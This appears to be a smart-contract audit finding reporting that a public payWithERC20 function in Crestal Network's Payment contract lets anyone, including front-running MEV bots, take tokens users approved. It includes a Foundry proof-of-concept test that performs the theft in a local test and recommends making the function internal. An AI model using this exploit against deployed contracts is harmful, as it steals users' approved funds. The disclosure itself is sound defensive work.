Best Plastic Yak

High

# MEV bot will steal approved funds using payWithERC20

### Summary

To pay for operations with ERC20 tokens a user must approve the blueprint contract address a specified amount so it can execute a `safeTransferFrom` call. 
The problem is that the[ `Payment::payWithERC20` ](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25) function that executes this call is public, meaning that anyone can call it and steal all the approved funs to the contract.

### Root Cause

In `Payment.sol:25`  the `payWithERC20` is public, so anyone can call it and set themselves as the `toAddress`, stealing all the approved funds.

### Internal Pre-conditions

1. User approves funds for the blueprint contract address.

### External Pre-conditions

None

### Attack Path

1. MEV bot sees transaction in the mempool with one of the following functions:
    - `createAgentWithToken`
    - `createAgentWithTokenWithSig`
    - `updateWorkerDeploymentConfig`
    - `userTopUp`
2. MEV bot steals approved funds
3. User transaction reverts

### Impact

All approved funds to pay operation costs can be stolen.

### PoC

Test can be added to the BlueprintV5.t.sol test file
```solidity
function test_frontrunCreateAgentWithToken() public {
        address attacker = makeAddr("attacker");
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2981);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;

        // set none zero cost for create agents, use any number greater than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), validTokenAmount);

        mockToken.mint(address(this), validTokenAmount);

        // Verify the mint
        uint256 balance = mockToken.balanceOf(address(this));
        assertEq(balance, validTokenAmount, "sender does not have the correct token balance");

        // check LogApproveEvent
        vm.expectEmit(true, true, false, true);
        emit MockERC20.LogApproval(address(this), address(blueprint), validTokenAmount);

        // Approve the blueprint contract to spend tokens directly from the test contract
        mockToken.approve(address(blueprint), validTokenAmount);

        // check allowance after approve
        uint256 allowance = mockToken.allowance(address(this), address(blueprint));
        assertEq(allowance, validTokenAmount, "sender does not have the correct token allowance");

        // 1. MEV bot sees the transaction in the mempool
        // 2. MEV bot steals approved funds
        vm.prank(attacker);
        blueprint.payWithERC20(address(mockToken), validTokenAmount, address(this), attacker);
        uint256 stolenBalance = mockToken.balanceOf(attacker);
        assertEq(stolenBalance, validTokenAmount);

        // 3. User transaction is executed but reverts
        vm.expectRevert();
        blueprint.createAgentWithToken(projectId, base64Proposal, workerAddress, serverURL, address(mockToken));
        balance = mockToken.balanceOf(address(this));
        assertEq(balance, 0);
    }
```

### Mitigation

Make the `payWithERC20` function internal.